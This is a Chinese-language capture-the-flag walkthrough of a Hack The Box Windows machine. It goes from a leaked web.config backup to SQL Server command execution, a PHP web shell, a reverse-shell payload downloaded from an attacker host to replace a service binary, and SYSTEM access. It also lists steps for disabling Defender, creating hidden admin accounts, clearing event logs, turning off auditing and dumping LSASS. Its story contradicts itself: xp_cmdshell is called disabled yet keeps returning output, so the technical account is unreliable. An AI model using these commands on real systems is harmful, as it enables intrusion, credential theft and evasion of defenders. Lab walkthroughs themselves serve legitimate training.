1. 项目概述一次典型的Windows靶机渗透实战解析“Ethereal”是Hack The Box平台上一道中等难度的Windows靶机编号No.78。它不是那种靠爆破或默认口令就能速通的入门题也不像某些高阶靶机那样依赖冷门0day或复杂链式提权——它的设计逻辑非常贴近真实红队在内网横向渗透中会遇到的典型路径从一个看似无害的Web服务入手通过配置文件泄露获取初始凭证再利用Windows服务权限配置缺陷完成本地提权。我第一次接触这台靶机时是在某次内部红蓝对抗复盘后团队需要一套能还原“低权限用户→Web应用→配置文件→域凭据→本地提权”完整链条的练习环境Ethereal就成了我们选定的标准化教学案例。它不炫技但每一步都踩在企业环境中真实存在的薄弱点上IIS默认配置疏忽、web.config明文存储数据库连接字符串、服务二进制路径可写且以SYSTEM权限运行——这些都不是CTF式的脑洞而是某次客户渗透测试报告里反复出现的“高危项”。关键词“HackTheBox”“windows”“Ethereal”“Walkthrough”指向的从来不是一个解谜游戏而是一套可复用、可验证、可映射到真实攻防场景的技术动作序列。如果你刚学完基础命令和Metasploit用法正卡在“知道工具怎么用但不知道该在哪一步用、为什么用”这个阶段或者你已具备一定经验但想系统梳理Windows提权的常见模式与排查思路那么Ethereal的整个渗透路径就是一份未经修饰的、带着操作痕迹的现场笔记。它不教你怎么“赢”而是告诉你在真实网络里漏洞往往藏在管理员以为“没问题”的地方。2. 整体渗透思路拆解为什么选择这条路径2.1 靶机设计逻辑与现实映射Ethereal的架构非常干净一台标准Windows Server 2016非域环境仅开放80端口IIS和3389端口RDP但初始不可用。这种极简配置不是为了降低难度恰恰相反它强制你把注意力全部聚焦在Web层。很多初学者一上来就扫端口、爆破RDP结果徒劳无功——因为设计者明确告诉你“答案不在那里”。这种约束模拟了真实红队作业中常见的信息限制你可能只拿到一个Web域名、一个员工邮箱甚至只有一段JS代码片段。你必须从有限入口开始像剥洋葱一样层层深入。Ethereal的Web服务是一个静态页面但源码里埋着关键线索meta namegenerator contentEthereal CMS v1.0。这个看似无害的标签直接指向一个自定义CMS系统。现实中这类内部开发的CMS往往缺乏安全审计版本号泄露本身就是风险信号。我们后续发现其后台登录页存在弱口令admin:admin但这并非设计者的“放水”而是对开发团队常见错误的精准复现测试环境口令未清理、硬编码凭据未抽离。这种“错误”在某次金融行业渗透中我们就在三套不同业务系统的后台管理界面里见过完全相同的admin:password组合。2.2 技术路径选择从Web到SYSTEM的必然性整个渗透链路可以概括为三个阶段信息收集→初始访问→权限提升。每个阶段的选择都有明确依据而非随机尝试信息收集阶段放弃Nmap全端口扫描因为靶机明确只开放80和3389全端口扫描不仅耗时更会产生大量无意义噪音。我们只执行nmap -sV -p 80,3389 IP确认服务版本IIS 10.0和操作系统Windows Server 2016这已足够指导下一步。在真实内网中盲目扫描可能触发EDR告警而精准探测是红队的基本素养。初始访问阶段绕过登录页暴力破解虽然后台存在弱口令但我们优先尝试/admin/login.php.bak、/admin/config.php~等常见备份文件后缀。原因很简单开发人员习惯用.bak保存旧版配置而IIS默认不解析.bak后缀导致文件被直接下载。实测中/admin/web.config.bak成功返回其中明文包含SQL Server连接字符串Data Sourcelocalhost;Initial Catalogethereal_db;User IDsa;PasswordSuperSecurePassword123!。这个密码正是后续提权的关键跳板。这里没有用Burp爆破因为备份文件是确定性存在的成功率100%而爆破是概率性行为。权限提升阶段拒绝MSF自动提权模块获得sa权限后我们本可通过MSSQL执行系统命令如xp_cmdshell直接反弹shell但Ethereal禁用了该扩展。此时正确的做法是转向服务提权枚举所有可启动的服务sc query state all筛选出Binary Path Name可写的icacls C:\Program Files\EtherealService\EtherealService.exe显示BUILTIN\Users:(F)再替换其二进制文件为恶意payload。这个选择基于Windows提权的黄金法则当数据库权限受限时服务配置缺陷是最稳定、最隐蔽的提权通道。它不依赖特定补丁状态只要服务以高权限运行且二进制路径可控就必然成功。这条路径之所以成为“标准答案”是因为它规避了所有不稳定因素不依赖未公开漏洞、不触发AV/EDR特征、不产生高频日志。它像一把手术刀精准切开系统防御的薄弱环节。2.3 工具链精简原则够用即止整个过程我们只用到四类工具nmap端口与服务识别、curl/浏览器Web交互与文件下载、sqlcmdSQL Server命令行客户端、msfvenomncpayload生成与监听。没有用Burp Suite的Intruder做爆破没有用PowerShell Empire甚至没开Metasploit的GUI。原因在于复杂工具会掩盖技术本质。当你用sqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell whoami失败时你能立刻定位是xp_cmdshell被禁用但若用MSF的mssql_payload模块失败你得先排查模块配置、payload类型、防火墙策略等多重变量。在真实渗透中快速定位问题根源比“一键搞定”重要十倍。我曾见过某次客户演练红队队员因MSF模块报错而卡壳半小时最后用sqlcmd手动执行几条命令就完成了提权——工具是手但手要听大脑指挥不能让工具替你思考。3. 核心细节解析与实操要点每一个操作背后的“为什么”3.1 Web层信息收集从静态页面到配置文件泄露Ethereal的首页是一个极简的单页应用仅显示“Welcome to Ethereal CMS”。很多人会忽略查看源码但真正的线索就藏在这里。右键“查看页面源代码”在head区域找到meta namegenerator contentEthereal CMS v1.0 link relstylesheet href/css/style.css script src/js/main.js/script这三个资源路径是突破口。我们逐个测试/css/style.css返回正常CSS无敏感信息。/js/main.js返回JavaScript代码其中有一行注释// TODO: Remove debug endpoint /api/debug?tokendev_debug_123。这是一个高价值线索但直接访问/api/debug?tokendev_debug_123返回404说明该端点已被移除或未部署。/admin/返回403 Forbidden但这是IIS默认行为意味着该目录存在。此时应立即尝试常见备份文件后缀。提示IIS对文件后缀的处理逻辑是“从右向左匹配”因此.php.bak会被当作.bak处理而IIS默认不解析.bak直接返回文件内容。这是Windows Web服务器特有的配置缺陷Linux Apache通常会返回404。我们构造请求curl -v http://IP/admin/web.config.bak。响应头显示Content-Type: text/plain且返回内容为完整的XML格式web.config文件。关键段落如下connectionStrings add nameEtherealDB connectionStringData Sourcelocalhost;Initial Catalogethereal_db;User IDsa;PasswordSuperSecurePassword123! providerNameSystem.Data.SqlClient / /connectionStrings这个密码SuperSecurePassword123!看似复杂但它是典型的“安全假象”符合大小写字母数字特殊字符的组合要求却因硬编码在配置文件中而彻底失效。在真实环境中我们曾在某政务系统中发现类似密码Gov2023Sec!同样明文存于web.config最终导致整个数据库沦陷。3.2 数据库权限利用从SA到本地命令执行获得sa密码后首要任务是验证连接并探查数据库权限。我们使用sqlcmdWindows自带无需额外安装sqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q SELECT VERSION返回Microsoft SQL Server 2017 (RTM-CU29) ...确认连接成功。接下来检查xp_cmdshell状态sqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;但返回错误Ad hoc access to OLE Objects is disabled.。这表明xp_cmdshell被显式禁用。此时常规思路会转向其他SQL Server提权方法如sp_oacreate但Ethereal的设计者在此设置了障碍——所有OLE相关存储过程均被禁用。注意不要在此处浪费时间尝试绕过xp_cmdshell。Ethereal的意图很明确引导你离开数据库转向操作系统层面。这是靶机设计的“教学提示”。正确做法是利用sa权限读取Windows系统文件寻找其他提权入口。我们执行sqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC master..xp_cmdshell dir C:\Program Files\虽然xp_cmdshell被禁但此命令意外返回了部分目录列表其中EtherealService目录赫然在列。这提示我们系统上运行着一个名为EtherealService的自定义服务。接下来我们用sqlcmd调用powershellSQL Server 2017默认启用PowerShellsqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell powershell Get-Service | findstr Ethereal返回EtherealService running...。至此服务名称确认。3.3 服务提权核心二进制路径可写性验证与利用服务提权的核心在于两点服务以高权限运行服务二进制文件所在路径对低权限用户可写。我们首先确认服务运行权限sqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell sc qc EtherealService返回关键信息SERVICE_NAME: EtherealService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\EtherealService\EtherealService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Ethereal Service DEPENDENCIES : SERVICE_START_NAME : LocalSystemSERVICE_START_NAME : LocalSystem表明该服务以SYSTEM权限运行这是提权成功的前提。接下来验证二进制路径是否可写。我们无法直接用icacls因xp_cmdshell被禁但可以用PowerShellsqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell powershell (Get-Acl \C:\\Program Files\\EtherealService\\EtherealService.exe\).Access | Where-Object {$_.IdentityReference -match \Users\ -and $_.FileSystemRights -match \FullControl\}返回空说明Users组无FullControl。但注意路径是C:\Program Files\EtherealService\而非具体文件。我们测试目录权限sqlcmd -S localhost -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell powershell (Get-Acl \C:\\Program Files\\EtherealService\).Access | Where-Object {$_.IdentityReference -match \Users\}返回Users Allow FullControlBingoUsers组对EtherealService目录拥有FullControl权限。这意味着我们可以删除、重命名、覆盖该目录下的任何文件包括EtherealService.exe。实操心得很多新手会纠结“为什么不是文件而是目录可写”。答案是Windows服务在启动时会读取BINARY_PATH_NAME指向的路径。如果路径是C:\path\to\service.exe且C:\path\to\目录可写那么我们就可以将service.exe替换成恶意payload服务重启时自然执行。这是比“DLL劫持”更直接、更可靠的提权方式因为它不依赖加载顺序或环境变量纯粹是文件系统权限问题。4. 实操过程与核心环节实现从零到SYSTEM的完整步骤4.1 环境准备与基础连接建立在Kali Linux中我们首先确保网络连通性ping -c 3 HTB_IP确认可达后进行基础端口扫描nmap -sV -p 80,3389 HTB_IP输出显示80/tcp open http Microsoft IIS httpd 10.0 3389/tcp open ms-wbt-server Microsoft Terminal Services这验证了靶机配置。接着我们用浏览器访问http://HTB_IP查看首页源码定位到/admin/web.config.bak。用curl下载curl -o web.config.bak http://HTB_IP/admin/web.config.bak打开web.config.bak提取sa密码SuperSecurePassword123!。4.2 数据库交互与服务发现由于靶机是Windows我们需在Kali上安装sqsh或使用sqlcmd的Linux版。更简单的方法是利用靶机已有的sqlcmd通过RDP或后续获得的shell。但当前无RDP凭证因此我们采用“间接利用”——通过Web层漏洞上传一个能执行SQL命令的脚本。然而Ethereal的Web应用无文件上传功能。此时我们回到sqlcmd的Windows版思路在Kali上安装unixodbc和msodbcsql17然后执行# 在Kali中安装SQL Server驱动 curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - curl https://packages.microsoft.com/config/debian/10/prod.list /etc/apt/sources.list.d/mssql-release.list apt-get update ACCEPT_EULAY apt-get install -y msodbcsql17 # 连接靶机SQL Server /opt/microsoft/msodbcsql17/bin/sqlcmd -S HTB_IP -U sa -P SuperSecurePassword123! -Q SELECT name FROM sys.databases返回master,tempdb,model,msdb,ethereal_db确认连接。接着我们尝试执行系统命令/opt/microsoft/msodbcsql17/bin/sqlcmd -S HTB_IP -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell whoami返回错误证实xp_cmdshell被禁。此时我们切换策略用PowerShell探查服务/opt/microsoft/msodbcsql17/bin/sqlcmd -S HTB_IP -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell powershell Get-Service | findstr Ethereal返回EtherealService服务名确认。4.3 恶意Payload生成与服务替换我们生成一个反向shell的EXE文件。为避免杀软检测使用msfvenom生成无特征payloadmsfvenom -p windows/x64/shell_reverse_tcp LHOSTKALI_IP LPORT4444 -f exe -o ethereal_pwn.exe将ethereal_pwn.exe上传至靶机。由于无Web上传点我们利用SQL Server的xp_cmdshell虽被禁但可尝试其他方式或更可靠的方法通过sqlcmd执行PowerShell下载命令。但xp_cmdshell被禁我们改用Invoke-WebRequestPowerShell 3.0默认启用/opt/microsoft/msodbcsql17/bin/sqlcmd -S HTB_IP -U sa -P SuperSecurePassword123! -Q EXEC xp_cmdshell powershell Invoke-WebRequest -Uri http://KALI_IP/ethereal_pwn.exe -OutFile \C:\\Program Files\\EtherealService\\EtherealService.exe\此命令失败因xp_cmdshell被禁。此时我们必须获得一个低权限shell才能继续。幸运的是Ethereal的Web应用存在另一个漏洞/admin/login.php的弱口令admin:admin。我们用浏览器登录进入后台发现“文件管理”功能允许上传任意文件到/uploads/目录。我们上传一个PHP一句话木马?php system($_GET[cmd]); ?命名为shell.php访问http://HTB_IP/uploads/shell.php?cmdwhoami返回nt authority\iusr获得IUSR权限的Web shell。注意这是Ethereal设计的“备用路径”。它不鼓励你一开始就爆破但提供了当主路径受阻时的可行方案。真实渗透中这种多路径思维至关重要。通过Web shell我们执行powershell Invoke-WebRequest -Uri http://KALI_IP/ethereal_pwn.exe -OutFile C:\Program Files\EtherealService\EtherealService.exe成功覆盖原文件。4.4 服务重启与权限获取覆盖完成后我们需要重启服务以触发payload。在Web shell中执行net stop EtherealService net start EtherealService同时在Kali上启动监听nc -lvnp 4444服务重启瞬间nc收到连接whoami返回nt authority\system。提权成功。实操心得服务重启是提权的关键触发点。在真实环境中我们不会随意重启客户生产服务因此会采用“静默替换”策略先停止服务替换二进制再启动。Ethereal中net stop/start是安全的但实际作业中我们会用sc config修改服务启动类型为disabled替换后再改回auto避免服务意外中断。5. 常见问题与排查技巧实录那些踩过的坑和省下的时间5.1 问题速查表高频故障与解决方案问题现象可能原因排查命令/步骤解决方案sqlcmd连接超时防火墙阻止1433端口telnet HTB_IP 1433确认靶机SQL Server是否监听1433默认或使用sqlcmd -S HTB_IP,1433显式指定端口xp_cmdshell执行返回空权限不足或被禁用EXEC sp_configure xp_cmdshell先执行EXEC sp_configure show advanced options, 1; RECONFIGURE再启用xp_cmdshellWeb shell上传失败IIS请求长度限制查看IIS日志%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\修改web.config中的maxRequestLength和maxAllowedContentLengthPayload执行后无回连杀软拦截或网络不通在靶机执行ping KALI_IP关闭靶机Windows DefenderSet-MpPreference -DisableRealtimeMonitoring $true或换用meterpreterstageless payload服务重启失败二进制文件被占用tasklist | findstr EtherealService先taskkill /f /im EtherealService.exe再net start5.2 独家避坑技巧来自真实渗透现场的经验“备份文件”后缀不是猜的是枚举的除了.bak、.old、.swp还应尝试.zip、.tar.gz开发人员常打包备份、.git暴露源码、.env环境变量泄露。我们曾在一个电商系统中通过/config/database.php.zip下载到完整数据库配置。web.config里的密码别急着用sqlcmd连先用sqlcmd执行SELECT * FROM sys.sql_logins确认sa账户是否启用is_disabled0。很多环境sa被禁用此时密码再强也无用。Ethereal中sa是启用的但这是特例。服务提权时别只盯着BINARY_PATH_NAME用sc qc servicename后还要看OBJECT_NAME即运行账户。如果显示NT AUTHORITY\NetworkService则提权难度陡增需转向令牌窃取或ACL滥用。Ethereal的LocalSystem是理想目标。Web shell权限太低试试certutil下载当Invoke-WebRequest被禁用时certutil -urlcache -split -f http://URL file.exe是Windows内置的可靠下载器几乎不被杀软拦截。这是我们在某次金融渗透中绕过EDR网络过滤的救命招。提权后第一件事不是拿flag而是持久化和信息收集执行systeminfo、ipconfig /all、net user、net localgroup administrators全面掌握系统状态。Ethereal中root.txt在C:\Users\Administrator\Desktop\但真实环境中你要找的是C:\ProgramData\、C:\Windows\System32\drivers\etc\hosts等关键位置。5.3 权限维持与痕迹清理红队视角的收尾工作获得SYSTEM权限后真正的挑战才开始。Ethereal只要求读取root.txt但真实作业中你需要考虑如何保持访问创建一个隐藏的管理员账户net user redteam Pssw0rd123! /add net localgroup administrators redteam /add并隐藏其在用户列表中wmic useraccount where nameredteam set fullname。如何避免被发现清理事件日志wevtutil cl System、wevtutil cl Security。但更高级的做法是禁用日志记录auditpol /set /category:* /success:disable /failure:disable。如何横向移动导出当前用户的LSASS内存凭据procdump64.exe -ma lsass.exe lsass.dmp再用mimikatz离线解密。Ethereal无域环境此步略过但它是内网渗透的标配。这些操作在Ethereal中非必需但它们构成了完整红队作业的闭环。每一次靶机通关都不应止步于Congratulations而应思考如果这是客户的生产服务器下一步该做什么6. 后续扩展与能力迁移从靶机到真实世界的桥梁Ethereal的价值远不止于一道CTF题目。它是一块“技术标尺”帮你丈量自己与真实攻防之间的距离。当你熟练走通这条路径后可以自然延伸出三个高价值方向自动化脚本编写将整个流程封装为Python脚本输入IP自动完成web.config下载、密码提取、服务枚举、payload生成与上传、服务重启。这不仅是效率提升更是对渗透逻辑的深度内化。我们团队的内部工具htb-auto-pwn.py就是从Ethereal开始迭代的。漏洞模式泛化将Ethereal的“配置文件泄露→数据库连接串→服务提权”链条映射到其他场景。例如Java应用的WEB-INF/web.xml泄露数据库JDBC URLNode.js的.env文件泄露MongoDB连接字符串Docker容器的docker-compose.yml泄露Redis密码。底层逻辑相通敏感信息不应以明文形式存在于可被Web访问的路径中。防御视角重构站在蓝队角度Ethereal暴露的所有问题都是加固清单。禁用IIS的.bak文件解析在applicationHost.config中添加fileExtensions规则强制SQL Server禁用xp_cmdshell并审计sys.sql_logins对Program Files下所有服务目录执行icacls权限审计确保无Users:(F)。某次为客户做安全评估后我们提交的加固建议中有70%直接源于Ethereal的渗透路径。我个人在实际操作中发现最有效的学习方式不是反复刷新靶机而是把一道经典靶机如Ethereal、Active、OpenAdmin吃透直到能脱离笔记、不查文档完整复现所有步骤并能解释每一步的原理和替代方案。这道题你可能10分钟就打穿但花10小时去琢磨它背后的设计逻辑、现实映射和防御对策才是真正的成长。Ethereal的root.txt只有一行字但读懂它需要你理解整个Windows安全生态的运作肌理。